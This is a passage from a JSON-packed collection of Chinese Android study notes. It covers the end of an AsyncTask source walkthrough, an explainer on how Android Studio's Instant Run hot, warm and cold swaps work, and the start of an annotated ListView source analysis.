you can use\n     * the {@link #executeOnExecutor} version of this method\n     * with {@link #THREAD_POOL_EXECUTOR}; however, see commentary there for warnings\n     * on its use.\n     *\n     * <p>This method must be invoked on the UI thread.\n     *\n     * @param params The parameters of the task.\n     *\n     * @return This instance of AsyncTask.\n     *\n     * @throws IllegalStateException If {@link #getStatus()} returns either\n     *         {@link AsyncTask.Status#RUNNING} or {@link AsyncTask.Status#FINISHED}.\n     *\n     * @see #executeOnExecutor(java.util.concurrent.Executor, Object[])\n     * @see #execute(Runnable)\n     */\n    public final AsyncTask<Params, Progress, Result> execute(Params... params) {\n        return executeOnExecutor(sDefaultExecutor, params);\n\t\t// 这里就多插一嘴了。 sDefaultExecutor在上面我们分析过了，就是一个队列来保证串行进行。从3.0开始都是这样。\n\t\t// 那在1.6到3.0之间是怎么并行执行的呢？　按照下面的方式改就可以了\n\t\t// return executeOnExecutor(THREAD_POOL_EXECUTOR, params);\n\t\t// 就是将sDefaultExecutor改成THREAD_POOL_EXECUTOR， THREAD_POOL_EXECUTOR就是线程池。\n\t\t// new ThreadPoolExecutor(CORE_POOL_SIZE, MAXIMUM_POOL_SIZE, KEEP_ALIVE, TimeUnit.SECONDS, sPoolWorkQueue, sThreadFactory);\n\t\t// 原来的CORE_POOL_SIZE是5, KEEP_ALIVE是10, MAXIMUM_POOL_SIZE是128\n\t\t// 也就是说可以同时执行的线程是5个，如果超过5个后，超过的部分就会放到缓存队列中，如果超过了128那就挂了\n    }\n\n    /**\n     * Executes the task with the specified parameters. The task returns\n     * itself (this) so that the caller can keep a reference to it.\n     * \n     * <p>This method is typically used with {@link #THREAD_POOL_EXECUTOR} to\n     * allow multiple tasks to run in parallel on a pool of threads managed by\n     * AsyncTask, however you can also use your own {@link Executor} for custom\n     * behavior.\n     * \n     * <p><em>Warning:</em> Allowing multiple tasks to run in parallel from\n     * a thread pool is generally <em>not</em> what one wants, because the order\n     * of their operation is not defined.  For example, if these tasks are used\n     * to modify any state in common (such as writing a file due to a button click),\n     * there are no guarantees on the order of the modifications.\n     * Without careful work it is possible in rare cases for the newer version\n     * of the data to be over-written by an older one, leading to obscure data\n     * loss and stability issues.  Such changes are best\n     * executed in serial; to guarantee such work is serialized regardless of\n     * platform version you can use this function with {@link #SERIAL_EXECUTOR}.\n     *\n     * <p>This method must be invoked on the UI thread.\n     *\n     * @param exec The executor to use.  {@link #THREAD_POOL_EXECUTOR} is available as a\n     *              convenient process-wide thread pool for tasks that are loosely coupled.\n     * @param params The parameters of the task.\n     *\n     * @return This instance of AsyncTask.\n     *\n     * @throws IllegalStateException If {@link #getStatus()} returns either\n     *         {@link AsyncTask.Status#RUNNING} or {@link AsyncTask.Status#FINISHED}.\n     *\n     * @see #execute(Object[])\n     */\n    public final AsyncTask<Params, Progress, Result> executeOnExecutor(Executor exec,\n            Params... params) {\n        if (mStatus != Status.PENDING) {\n            switch (mStatus) {\n                case RUNNING:\n                    throw new IllegalStateException(\"Cannot execute task:\"\n                            + \" the task is already running.\");\n                case FINISHED:\n                    throw new IllegalStateException(\"Cannot execute task:\"\n                            + \" the task has already been executed \"\n                            + \"(a task can be executed only once)\");\n            }\n        }\n\n        mStatus = Status.RUNNING;\n\n        onPreExecute();\n\n        mWorker.mParams = params;\n        exec.execute(mFuture);\n\n        return this;\n    }\n\n    /**\n     * Convenience version of {@link #execute(Object...)} for use with\n     * a simple Runnable object. See {@link #execute(Object[])} for more\n     * information on the order of execution.\n     *\n     * @see #execute(Object[])\n     * @see #executeOnExecutor(java.util.concurrent.Executor, Object[])\n     */\n    public static void execute(Runnable runnable) {\n        sDefaultExecutor.execute(runnable);\n    }\n\n    /**\n     * This method can be invoked from {@link #doInBackground} to\n     * publish updates on the UI thread while the background computation is\n     * still running. Each call to this method will trigger the execution of\n     * {@link #onProgressUpdate} on the UI thread.\n     *\n     * {@link #onProgressUpdate} will not be called if the task has been\n     * canceled.\n     *\n     * @param values The progress values to update the UI with.\n     *\n     * @see #onProgressUpdate\n     * @see #doInBackground\n     */\n    protected final void publishProgress(Progress... values) {\n        if (!isCancelled()) {\n            getHandler().obtainMessage(MESSAGE_POST_PROGRESS,\n                    new AsyncTaskResult<Progress>(this, values)).sendToTarget();\n        }\n    }\n\n    private void finish(Result result) {\n        if (isCancelled()) {\n            onCancelled(result);\n        } else {\n            onPostExecute(result);\n        }\n        mStatus = Status.FINISHED;\n    }\n\n    private static class InternalHandler extends Handler {\n        public InternalHandler() {\n            super(Looper.getMainLooper());\n        }\n\n        @SuppressWarnings({\"unchecked\", \"RawUseOfParameterizedType\"})\n        @Override\n        public void handleMessage(Message msg) {\n            AsyncTaskResult<?> result = (AsyncTaskResult<?>) msg.obj;\n            switch (msg.what) {\n                case MESSAGE_POST_RESULT:\n                    // There is only one result\n                    result.mTask.finish(result.mData[0]);\n                    break;\n                case MESSAGE_POST_PROGRESS:\n                    result.mTask.onProgressUpdate(result.mData);\n                    break;\n            }\n        }\n    }\n\n    private static abstract class WorkerRunnable<Params, Result> implements Callable<Result> {\n        Params[] mParams;\n    }\n\n    @SuppressWarnings({\"RawUseOfParameterizedType\"})\n    private static class AsyncTaskResult<Data> {\n        final AsyncTask mTask;\n        final Data[] mData;\n\n        AsyncTaskResult(AsyncTask task, Data... data) {\n            mTask = task;\n            mData = data;\n        }\n    }\n}\n\n```\n\t\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! "
  },
  {
    "path": "docs/android/AndroidNote/SourceAnalysis/InstantRun详解.md",
    "content": "InstantRun详解\n===\n\n之前在写[AndroidStudio提高Build速度][1]]这篇文章的时候写到，想要快，就用`Instant Run`。最近有朋友发来邮件讨论它的原理，最近项目不忙，索性就来系统的学习下。\n\n\n`Android Studio`2.0开始引入了`Instant Run`，它主要是在`Run`和`Debug`的时候可以去减少更新应用的时间。虽然第一次`Build`的时候可能会消耗稍长的时间来完成，但是`Instant Run`可以把更新内容推送到设备上，而无需重新`build`一个新的`apk`，这样就会很快速的让我们观察到改变。\n\n`Instant Run`只支持在`build.gralde`文件中配置的`Gradle`版本是2.0.0以上并且`minSdkVersion`是15以上才可以。为了能更好的使用，请将`minSdkVrsion`设置到21以上。\n\n部署完应用后，会在`Run`![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/as-irrun.png?raw=true)(或者(Debug![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/as-irdebug.png?raw=true)))图标上面出现一个小黄色的闪电符号，这就意味着`Instant Run`已经准备就绪，在你下次点击按钮的时候可以推送更新内容。它不需要重新构建一个新的`APK`,它只推送那些新改变的地方，有些情况下`app`都不需要重启就可以直接显示新改变的下效果。\n\n\n### 配置你的应用来使用`Instant Run`\n\n`Android Stuido`中项目使用`Gralde`2.0.0及以上版本会默认使用`Instant Run`。  \n让项目更新到最新的版本:     \n\n1. 点击`Settings`中的`Preferences`按钮。\n2. 找到`Build,Execution,Deployment`中的`Instant Run`然后点击`Update Project`，如果`Update Project`部分没有显示，那说明你当前已经是最新版本了.   \n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/update-project-dialog.png?raw=true)\n\n\n\n### 修复类型\n\n`Instant Run`通过热修复、暖修复或者冷修复来推送改变的代码和资源到你的设备或者模拟器上。它会根据你更改的内容来自动选择对应的修复类型。\n\n- 热修复: 更改的内容不需要重启应用甚至不需要重启当前的`activity`就可以让显示内容的改变，对于大部分通过方法内容改变的更改都可以通过这种方式来修改。\n- 暖修复: 需要重启`activity`才能让改变生效，在改变资源时会通过该方式。\n- 冷修复: 应用需要重启(不是重新安装)。对于一些方法方法结构和实现等结构性的改变需要通过该方式。    \n\n\n\n那具体更改内容和修复方式是怎么对应的呢？    \n\n- 改变现在已经存在的方法          \n    这将通过热修复来执行，这是最快的一种修复方式。你的应用会在运行的过程中，在下次调用该方法时直接使用新实现的方法。\n    热修复不需要重新初始化对象。在看到具体的更改之前，你可能会需要重启当前的`activity`或者应用。默认情况下`Android Studio`在执行热修复后会自动重启当前的`activity`。如果你不想要它自动重启`activity`你也可以在设置中禁用。\n\n- 更改或者移除已经存在的资源           \n    这将通过暖修复来执行:这也是非常快的，但是`Instant Run`在推送这些更新内容时必须要重启当前的`activity`。你的应用仍然会继续运行，但是在重启`activity`时屏幕可能会闪动-这是正常滴。\n\n- 结构性的改变例如:    \n\n    - 增删或者改变:    \n        - 一个注解\n        - 一个变量\n        - 一个静态变量\n        - 一个方法结构\n        - 一个静态方法结构\n\n    - 更改该类集成的父类      \n    - 更改接口的实现列表\n    - 更改类的静态修饰符\n    - 使用动态资源`id`重新布局\n\n    上面的这些改变都将通过冷修复(API 21以上才支持)来执行.冷修复会稍微有些慢，因为虽然不需要构建一个新的`APK`但是必须要重启整个`app`才能推送这些结构性的代码改变。对于`API` 20及以下的版本，`Android Studio`将重新部署`APK`。\n\n- 更改`manifest`文件或者更改`manifest`文件中引用的资源或者更改`Android`桌面`widget`的`UI`实现(需要Clean and Rerun)               \n    在更改清单文件或者清单文件中引用的资源时，`Android Studio`会自动的重新部署引用来实现这些内容的改变。这是因为例如应用名称、图标和`intent filters`这些东西是要在应用安装到设备时根据清单文件来决定的。\n    在更新`Android UI widget`时，你需要执行`Clean and Rerun`才能看到更改的内容，因为在使用`Instant Run`时执行`clean`会需要很长的时间，所以你在更新`UI widget`时可以禁用`Instant Run`。 \n\n\n##### 使用Rerun\n  \n如果修改了一些会影响到初始化的内容时，例如修改了应用的`onCreate()`方法，你需要重启你的应用来让这些改变生效，你可以点击`Rerun`图标。它将会停止应用运行，并且执行`clean`操作后重新部署一个新的`APK`到你的设备。   \n\n\n### 实现原理      \n\n正常情况下，我们修改了内容，想让让它生效，那就需要如下的步骤:           \n\n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/change_run_list.png?raw=true)\n\n那`Instant Run`的目标也非常简单:         \n> 尽可能多的移除上面的步骤，来让剩下的部分尽可能更快。    \n\n这就意味着:    \n\n- 只构建和部署新更改的部分。\n- 不去重新安装应用。\n- 不去重启应用。\n- 甚至不去重启`activity`。\n\n\n\n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/instant_run_list.png?raw=true)\n\n\n普通情况下在你点击`Run`或者`Debug`按钮时，会执行如下的操作:     \n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/apk_progress.png?raw=true)     \n\n清单文件会被整合然后与你应用的资源重启打包成`APK`.同样的，`.java`的源代码会被编译成二进制，然后转换成`.dex`文件，他们也会被包含到`APK`中。\n\n在使用`Instant Run`的情况下，第一次点击`Run`和`Debug`时`Gradle`会执行一些额外的操作:     \n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/instant_apk_progress.png?raw=true)\n`instrumentation`相关的二进制内容会被增加到`.class`文件中，并且一个新的`App Server`类会被注入到应用中。    \n同时也会增加一个新的`Application`类，来注入一些自定义的`class loader`并且能启动`App Server`。因此`minifest`文件会被修改来保证使用该新加的`Application`类(如果你已经创建了自己的`Application`类，`Instant Run`的版本将会用你定义的来进行代理扩展) \n\n经过上面的操作`Instant Run`就开始执行了，以后如果你改变了代码部分，在重新点击`Run`或者`Debug`时，`Instant Run`将会通过热、暖、冷修复来尽可能的减少上面的构建过程。    \n\n在`Instant Run`更改内容前，`Android Studio`会你的应用版本是否支持`Instant Run`并且`App Server`是否运行在对其有用的端口(内部使用了Socket)。 这样来确定你的应用是否在前台运行，并且找到`Studio`所需要的构建`ID`.   \n\n总结一下，其实就是内部会对每个`class`文件注入`instant run`相关的代码，然后自定义一个`application`内部指定自定义的`classLoader`(也就是说不使用默认的`classLoader`了，只要用了`Instant Run`就需要使用它自定义的`classLoader`)，然后在应用程序里面开启一个服务器，`Studio`将修改的代码发送到该服务器，然后再通过自定义的`classLoader`加载代码的时候会去请求该服务器判断代码是否有更新，如果有更新就会通过委托机制加载新更新的代码然后注入到应用程序中，这样就完成了替换的操作。\n\n### 热修复过程               \n\n\n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/hot_swapping.png?raw=true)\n\n`Android Studio`会监听在开发过程中哪个文件发生了改变，并且通过一个自定义的`Gralde task`来只对修改的`class`文件生成对应的`.dex`文件。    \n这些新的`.dex`文件会通过`Studio`传递发布给应用中运行的`App Server`。  \n\n因为开始时这些文件的`class`已经存在到运行中的应用中-`Gralde`需要保证更新的版本来保证他们能覆盖之前已经存在的文件。这些更新文件的转换是由`App Server`通过自定义的`class loader`来完成的。    \n\n从现在开始，每次一个方法被调用时(不管在应用中的任何地方)，被注入到最初的`class`文件中的`instrumentation`都讲去连接`App Server`来检查它们是否有更新了。 如果有更新，执行操作将被指派到新的充在的`class`文件，这样就会执行新修改的方法。\n\n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/instant_run_app_server.png?raw=true)\n\n如果你设置断点，你会发现你调用的是`override`名字的类中的方法。\n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/instant_debug_override.gif?raw=true)\n\n\n这种重新指定方法的方式在改变方法实现时非常有效，但是对于那种需要在`Activity`启动时加载的改变呢？   \n\n### 暖修复      \n\n暖修复会重启`Activity`。资源文件会在`Activity`启动时被加载，所以修改它们需要`activity`重新启动来进行加载。    \n\n现在，更改任何资源都会导致所有的资源都被重新打包病转移到应用中-但是以后会支持增量包的功能来让只打包和部署那些新修改的资源。\n\n> 注意，暖修复在更改`manifest`件或者`manifest`文件中引用的内容时无效，因为`manifest`文件中的内容需要在`apk`安装时读取。更改`Manifest`文件(或者它所引用的内容)需要被全部构建和部署。    \n\n\n\n非常不幸的是，重启`activity`在做一些结构性的改变时无效。对于这些改变需要使用冷修复。   \n\n### 冷修复     \n\n在部署时，你的应用和他的子项目会被分派到10个不同的部分，每个都在自己单独的`dex`文件。不同部分的类会通过包名来分配。在使用冷修复时，修改的类需要其他所有相关的`class`文件都被重新打包后才能被部署到设备上。      \n这就需要依赖`Android Runtime`能支持加载多个`.dex`文件,这是一个在`ART`中新增的功能，它只有在`Android 5.0(API 21)`以上的设备总才支持。    \n对于`API 20`一下的设备，他们仍在使用`Dalvik`虚拟机，`Android Studio`需要部署整个`APK`。      \n\n\n\n有些时候通过热修复来改变的代码，但是它会被应用首次运行时的初始化所影响，这时你就需要`restart`你的应用来让其生效(快捷键是Command + Ctrl + R)。    \n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/instant_run_restart.gif?raw=true)\n\n\n### Instant Run使用技巧及提示      \n\n`Instant Run`是由`Android Studio`控制的，所以你只能通过`IDE`来`start/restart`你的`debug`实例，不要直接在设备中`start/restart`你的应用，不然的话就会发生错乱。    \n\n\n##### Instant Run限制条件    \n\n- 部署到多个设备\n\n    `Instant Run`针对设备的不同`API Level`使用不同的技术来进行热、暖、冷修复。因此，如果同时部署一个应用到多个设备时，`Studio`会暂时关闭`Instant Run`功能。 \n\n\n- Multidex\n\n    如果你的项目支持传统的`Multidex`-也就是在`build.gradle`中配置了`multiDexEnabled true`和`minSdkVersion 20`及以下-当你部署应用到`4.4`以下的设备上时，`Android Studio`将会禁用`Instant Run`。   \n\n    如果`minSdkVersion`设置为21或者更高时，`Instant Run`将自动配置来支持`multidex`，因为`Instant Run`只支持`debug`版本，有需要在发布`release`版的时候配置你的`build`变量来支持`multidex`。    \n\n- 使用第三方插件 \n    `Android Studio`在使用`Instant Run`时会暂时禁用`Java Code Coverage Library`和`ProGuard`。因为`Instant Run`只支持`debug`版本，这样也不会影响`release`版的构建。    \n\n- 只能在主进程中运行    \n    目前热修复只能在主进程中进行，如果在其他进程中热、暖修复将无法使用，只能用冷修复来替代。  \n\n\n\n参考:         \n\n- [官网](https://developer.android.com/studio/run/index.html#instant-run)\n- [Instant Run: How Does it Work?!](https://medium.com/google-developers/instant-run-how-does-it-work-294a1633367f#.8xmpk8xvc)\n    \t\n\n[1]: https://github.com/CharonChui/AndroidNote/blob/master/AndroidStudioCourse/AndroidStudio%E6%8F%90%E9%AB%98Build%E9%80%9F%E5%BA%A6.md \"AndroidStudio提高Build速度\"\n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! "
  },
  {
    "path": "docs/android/AndroidNote/SourceAnalysis/ListView源码分析.md",
    "content": "ListView源码分析\n===\n\n\n一直都想写一篇文章分析下`ListView`的实现，总是忙，一直拖到现在，快到年底了，写出来希望能帮助一些面试跳槽的人。      \n当然写这篇文章也是有原因的，当时有同事在面试的时候，被对方要求当场实现一个`ListView`，同事简单的答了一些实现原理后，很显然对方不满意，经过几轮PK后，就有了不河蟹的结局。    \n不欢而散，哈哈。听说后当时我想着要把`ListView`源码仔细分析后，我自己也去面试试试，可是拖到了现在也没机会了。\n\n`GridView`与`ListView`都继承自`AbsListView`，他俩的实现也比较类似，这里就不说`GridView`了。只说一下`ListView`。\n首先看一下`ListView`的文档:     \n```java\n/*\n * Implementation Notes:\n *\n * Some terminology:\n *\n *     index    - index of the items that are currently visible\n *     position - index of the items in the cursor\n */\n\n\n/**\n * A view that shows items in a vertically scrolling list. The items\n * come from the {@link ListAdapter} associated with this view.\n */\n```\n\n然后再说一下`ListView`的继承关系`ListView extends AbsListView extends AdapterView<ListAdapter> extends ViewGroup extends View`。\n`ListView`与其他空间不一样，不是拖到界面上就能用，而是要通过设置适配器来添加条目。这就是`AdapterView`的主要功能。既然通过适配器来操作数据。\n这里自然想到的就是`MVC`设计模式。     \n\n- `Data`     - `M`                \n- `ListView` - `V`\n- `Adapter`  - `C`\n\n到这里我们写罗列一下我们将要分析的内容:      \n\n- `ListView`与`Adapter`间的调用。\n- `ListView`上下滑动时操作及缓存。 \n\n我们平时使用`ListView`的时候都是调用`setAdapter()`方法，所以我们这里就从该方法入手:     \n```java\n    /**\n     * Sets the data behind this ListView.\n     *\n     * The adapter passed to this method may be wrapped by a {@link WrapperListAdapter},\n     * depending on the ListView features currently in use. For instance, adding\n     * headers and/or footers will cause the adapter to be wrapped.\n     *\n     * @param adapter The ListAdapter which is responsible for maintaining the\n     *        data backing this list and for producing a view to represent an\n     *        item in that data set.\n     *\n     * @see #getAdapter() \n     */\n    @Override\n    public void setAdapter(ListAdapter adapter) {\n        if (mAdapter != null && mDataSetObserver != null) {\n    \t    // 取消之前注册过的Adapter\n            mAdapter.unregisterDataSetObserver(mDataSetObserver);\n        }\n        // 清空所有的数据\n        resetList();\t\n        // The data set used to store unused views that should be reused during the next layout to avoid creating new ones.\n        // 从注释中可以很明显的看出`View`的复用是通过`RecycleBin`类来实现的。它就决定了为什么`ListView`可以显示很多数据缺不会内存溢出。\n        mRecycler.clear();\n\n        if (mHeaderViewInfos.size() > 0|| mFooterViewInfos.size() > 0) {\n            // 如果有HeaderView或者FooterView就把Adapter重新封装下,这是什么设计模式？－装饰\n\t\t\t// mHeaderViewInfos和mFooterViewInfos分别是header view和foooter view装饰类FixedViewInfo的集合。\n\t\t\t// 会在addHeaderView()和addFooterView()中进行添加。\n            mAdapter = new HeaderViewListAdapter(mHeaderViewInfos, mFooterViewInfos, adapter);\n        } else {\n            mAdapter = adapter;\n        }\n\n        mOldSelectedPosition = INVALID_POSITION;\n        mOldSelectedRowId = INVALID_ROW_ID;\n\n        // AbsListView#setAdapter will update choice mode states.\n        super.setAdapter(adapter);\n\n        if (mAdapter != null) {\n            mAreAllItemsSelectable = mAdapter.areAllItemsEnabled();\n            mOldItemCount = mItemCount;\n            mItemCount = mAdapter.getCount();\n            checkFocus();\n\n            mDataSetObserver = new AdapterDataSetObserver();\n            mAdapter.registerDataSetObserver(mDataSetObserver); \n            // 将viewtypecount设置给RecycleBin\n            mRecycler.setViewTypeCount(mAdapter.getViewTypeCount());\n\n            int position;\n            // mStackFromBottom Indicates whether the list is stacked from the bottom edge or the top edge.\n            if (mStackFromBottom) {\n                position = lookForSelectablePosition(mItemCount - 1, false);\n            } else {\n                position = lookForSelectablePosition(0, true);\n            }\n            setSelectedPositionInt(position);\n            setNextSelectedPositionInt(position);\n\n            if (mItemCount == 0) {\n                // Nothing selected\n                checkSelectionChanged();\n            }\n        } else {\n            mAreAllItemsSelectable = true;\n            checkFocus();\n            // Nothing selected\n            checkSelectionChanged();\n        }\n\t\t// 请求layout了，这个就很重要了啊...我们稍后看一下。\n        requestLayout();\n    }\n\t\n\t/**\n     * The list is empty. Clear everything out.\n     */\n    @Override\n    void resetList() {\n        // The parent's resetList() will remove all views from the layout so we need to\n        // cleanup the state of our footers and headers\n        clearRecycledState(mHeaderViewInfos);\n        clearRecycledState(mFooterViewInfos);\n        // The list is empty. Clear everything out.\n        super.resetList();\n\n        mLayoutMode = LAYOUT_NORMAL;\n    }\n\t\n\tprivate void clearRecycledState(ArrayList<FixedViewInfo> infos) {\n        if (infos != null) {\n            final int count = infos.size();\n\n            for (int i = 0; i < count; i++) {\n                final View child = infos.get(i).view;\n                final LayoutParams p = (LayoutParams) child.getLayoutParams();\n                if (p != null) {\n\t\t\t\t    // 这里p就是AbsListView.LayoutParams。对于recycledHeaderFooter在注释中是这样说的. \n\t\t\t\t\t/**\n\t\t\t\t\t * When this boolean is set, the view has been added to the AbsListView\n\t\t\t\t\t * at least once. It is used to know whether headers/footers have already\n\t\t\t\t\t * been added to the list view and whether they should be treated as\n\t\t\t\t\t * recycled views or not.\n\t\t\t\t\t */\n                    p.recycledHeaderFooter = false;\n                }\n            }\n        }\n    }\n```\n\n我们看到`setAdapter()`方法中会调用`requestLayout()`方法。而`requestLayout()`方法会调用`onLayout()`方法，但是我们在`ListView`中找不到`onLayout()`方法。\n那就去他的父类`AbsListView`中找。我们接着来看一下`AbsListView.onLayout()`方法的实现。                   \n```java\n/**\n * Subclasses should NOT override this method but\n *  {@link #layoutChildren()} instead.\n */\n@Override\nprotected void onLayout(boolean changed, int l, int t, int r, int b) {\n\tsuper.onLayout(changed, l, t, r, b);\n\n\tmInLayout = true;\n\n\tfinal int childCount = getChildCount();\n\tif (changed) {\n\t\tfor (int i = 0; i < childCount; i++) {\n\t\t\tgetChildAt(i).forceLayout();\n\t\t}\n\t\tmRecycler.markChildrenDirty();\n\t}\n\n\t// 调用layoutChildren()方法。\n\tlayoutChildren();\n\tmInLayout = false;\n\n\tmOverscrollMax = (b - t) / OVERSCROLL_LIMIT_DIVISOR;\n\n\t// TODO: Move somewhere sane. This doesn't belong in onLayout().\n\tif (mFastScroll != null) {\n\t\tmFastScroll.onItemCountChanged(getChildCount(), mItemCount);\n\t}\n}\n```\n\n我们看一下`AbsListView.layoutChildren()`方法的实现:     \n```java\n/**\n * Subclasses must override this method to layout their children.\n */\nprotected void layoutChildren() {\n}\n```\n\n实现是空的,文档说的很明白了，子类必须要去实现该方法，这也是应该的，因为`ListView`和`GridView`的展现是不一样的.所以我们看一下`ListView.layoutChildren()`方法的实现:      \n```java\n@Override\nprotected void layoutChildren() {\n    // When set to true, calls to requestLayout() will not propagate up the parent hierarchy.\n    // This is used to layout the children during a layout pass.\n\tfinal boolean blockLayoutRequests = mBlockLayoutRequests;\n\tif (blockLayoutRequests) {\n\t\treturn;\n\t}\n\n\t// 开始了，置为true\n\tmBlockLayoutRequests = true;\n\n\ttry {\n\t\tsuper.layoutChildren();\n\n\t\tinvalidate();\n\n\t\tif (mAdapter == null) {\n\t\t\tresetList();\n\t\t\tinvokeOnItemScrollListener();\n\t\t\treturn;\n\t\t}\n\n\t\tfinal int childrenTop = mListPadding.top;\n\t\tfinal int childrenBottom = mBottom - mTop - mListPadding.bottom;\n\t\tfinal int childCount = getChildCount();\n\n\t\tint index = 0;\n\t\tint delta = 0;\n\n\t\tView sel;\n\t\tView oldSel = null;\n\t\tView oldFirst = null;\n\t\tView newSel = null;\n\n\t\t// Remember stuff we will need down below\n\t\t// mLayoutMode的注释为Controls how the next layout will happen，默认为LAYOUT_NORMAL\n\t\tswitch (mLayoutMode) {\n\t\tcase LAYOUT_SET_SELECTION:\n\t\t\tindex = mNextSelectedPosition - mFirstPosition;\n\t\t\tif (index >= 0 && index < childCount) {\n\t\t\t\tnewSel = getChildAt(index);\n\t\t\t}\n\t\t\tbreak;\n\t\tcase LAYOUT_FORCE_TOP:\n\t\tcase LAYOUT_FORCE_BOTTOM:\n\t\tcase LAYOUT_SPECIFIC:\n\t\tcase LAYOUT_SYNC:\n\t\t\tbreak;\n\t\tcase LAYOUT_MOVE_SELECTION:\n\t\tdefault:\n\t\t\t// Remember the previously selected view\n\t\t\tindex = mSelectedPosition - mFirstPosition;\n\t\t\tif (index >= 0 && index < childCount) {\n\t\t\t\toldSel = getChildAt(index);\n\t\t\t}\n\n\t\t\t// Remember the previous first child\n\t\t\toldFirst = getChildAt(0);\n\n\t\t\tif (mNextSelectedPosition >= 0) {\n\t\t\t\tdelta = mNextSelectedPosition - mSelectedPosition;\n\t\t\t}\n\n\t\t\t// Caution: newSel might be null\n\t\t\tnewSel = getChildAt(index + delta);\n\t\t}\n\n\t\t// mDataChanged变量标记Adapter中数据是否发生变化\n\t\tboolean dataChanged = mDataChanged;\n\t\tif (dataChanged) {\n\t\t\thandleDataChanged();\n\t\t}\n\n\t\t// Handle the empty set by removing all views that are visible\n\t\t// and calling it a day\n\t\tif (mItemCount == 0) {\n\t\t\tresetList();\n\t\t\tinvokeOnItemScrollListener();\n\t\t\treturn;\n\t\t} else if (mItemCount != mAdapter.getCount()) {\n\t\t\tthrow new IllegalStateException(\"The content of the adapter has changed but \"\n\t\t\t\t\t+ \"ListView did not receive a notification. Make sure the content of \"\n\t\t\t\t\t+ \"your adapter is not modified from a background thread, but only from \"\n\t\t\t\t\t+ \"the UI thread. Make sure your adapter calls notifyDataSetChanged() \"\n\t\t\t\t\t+ \"when its content changes. [in ListView(\" + getId() + \", \" + getClass()\n\t\t\t\t\t+ \") with Adapter(\" + mAdapter.getClass() + \")]\");\n\t\t}\n\n\t\tsetSelectedPositionInt(mNextSelectedPosition);\n\n\t\tAccessibilityNodeInfo accessibilityFocusLayoutRestoreNode = null;\n\t\tView accessibilityFocusLayoutRestoreView = null;\n\t\tint accessibilityFocusPosition = INVALID_POSITION;\n\n\t\t// Remember which child, if any, had accessibility focus. This must\n\t\t// occur before recycling any views, since that will clear\n\t\t// accessibility focus.\n\t\tfinal ViewRootImpl viewRootImpl = getViewRootImpl();\n\t\tif (viewRootImpl != null) {\n\t\t\tfinal View focusHost = viewRootImpl.getAccessibilityFocusedHost();\n\t\t\tif (focusHost != null) {\n\t\t\t\tfinal View focusChild = getAccessibilityFocusedChild(focusHost);\n\t\t\t\tif (focusChild != null) {\n\t\t\t\t\tif (!dataChanged || isDirectChildHeaderOrFooter(focusChild)\n\t\t\t\t\t\t\t|| focusChild.hasTransientState() || mAdapterHasStableIds) {\n\t\t\t\t\t\t// The views won't be changing, so try to maintain\n\t\t\t\t\t\t// focus on the current host and virtual view.\n\t\t\t\t\t\taccessibilityFocusLayoutRestoreView = focusHost;\n\t\t\t\t\t\taccessibilityFocusLayoutRestoreNode = viewRootImpl\n\t\t\t\t\t\t\t\t.getAccessibilityFocusedVirtualView();\n\t\t\t\t\t}\n\n\t\t\t\t\t// If all else fails, maintain focus at the same\n\t\t\t\t\t// position.\n\t\t\t\t\taccessibilityFocusPosition = getPositionForView(focusChild);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tView focusLayoutRestoreDirectChild = null;\n\t\tView focusLayoutRestoreView = null;\n\n\t\t// Take focus back to us temporarily to avoid the eventual call to\n\t\t// clear focus when removing the focused child below from messing\n\t\t// things up when ViewAncestor assigns focus back to someone else.\n\t\tfinal View focusedChild = getFocusedChild();\n\t\tif (focusedChild != null) {\n\t\t\t// TODO: in some cases focusedChild.getParent() == null\n\n\t\t\t// We can remember the focused view to restore after re-layout\n\t\t\t// if the data hasn't changed, or if the focused position is a\n\t\t\t// header or footer.\n\t\t\tif (!dataChanged || isDirectChildHeaderOrFooter(focusedChild)) {\n\t\t\t\tfocusLayoutRestoreDirectChild = focusedChild;\n\t\t\t\t// Remember the specific view that had focus.\n\t\t\t\tfocusLayoutRestoreView = findFocus();\n\t\t\t\tif (focusLayoutRestoreView != null) {\n\t\t\t\t\t// Tell it we are going to mess with it.\n\t\t\t\t\tfocusLayoutRestoreView.onStartTemporaryDetach();\n\t\t\t\t}\n\t\t\t}\n\t\t\trequestFocus();\n\t\t}\n\n\t\t// Pull all children into the RecycleBin.\n\t\t// These views will be reused if possible\n\t\tfinal int firstPosition = mFirstPosition;\n\t\tfinal RecycleBin recycleBin = mRecycler;\n\t\t// RecycleBin控制着整个item的复用，等最后我们再仔细分析下RecycleBin类\n\t\tif (dataChanged) {\n\t\t    // 如果数据发生变化，就把现在的View都添加到一个废弃的View进行缓存，RecycleBin.addScrapView()方法就是缓存一些废弃的View\n\t\t\tfor (int i = 0; i < childCount; i++) {\n\t\t\t\trecycleBin.addScrapView(getChildAt(i), firstPosition+i);\n\t\t\t}\n\t\t} else {\n\t\t    // 调用这个方法后就会根据传入的参数来将ListView中的指定元素存储到mActiveViews数组当中。\n\t\t\trecycleBin.fillActiveViews(childCount, firstPosition);\n\t\t}\n\n\t\t// Clear out old views\n\t\tdetachAllViewsFromParent();\n\t\trecycleBin.removeSkippedScrap();\n\t\t// mLayoutMode默认是LAYOUT_NORMAL\n\t\tswitch (mLayoutMode) {\n\t\tcase LAYOUT_SET_SELECTION:\n\t\t\tif (newSel != null) {\n\t\t\t\tsel = fillFromSelection(newSel.getTop(), childrenTop, childrenBottom);\n\t\t\t} else {\n\t\t\t\tsel = fillFromMiddle(childrenTop, childrenBottom);\n\t\t\t}\n\t\t\tbreak;\n\t\tcase LAYOUT_SYNC:\n\t\t\tsel = fillSpecific(mSyncPosition, mSpecificTop);\n\t\t\tbreak;\n\t\tcase LAYOUT_FORCE_BOTTOM:\n\t\t\tsel = fillUp(mItemCount - 1, childrenBottom);\n\t\t\tadjustViewsUpOrDown();\n\t\t\tbreak;\n\t\tcase 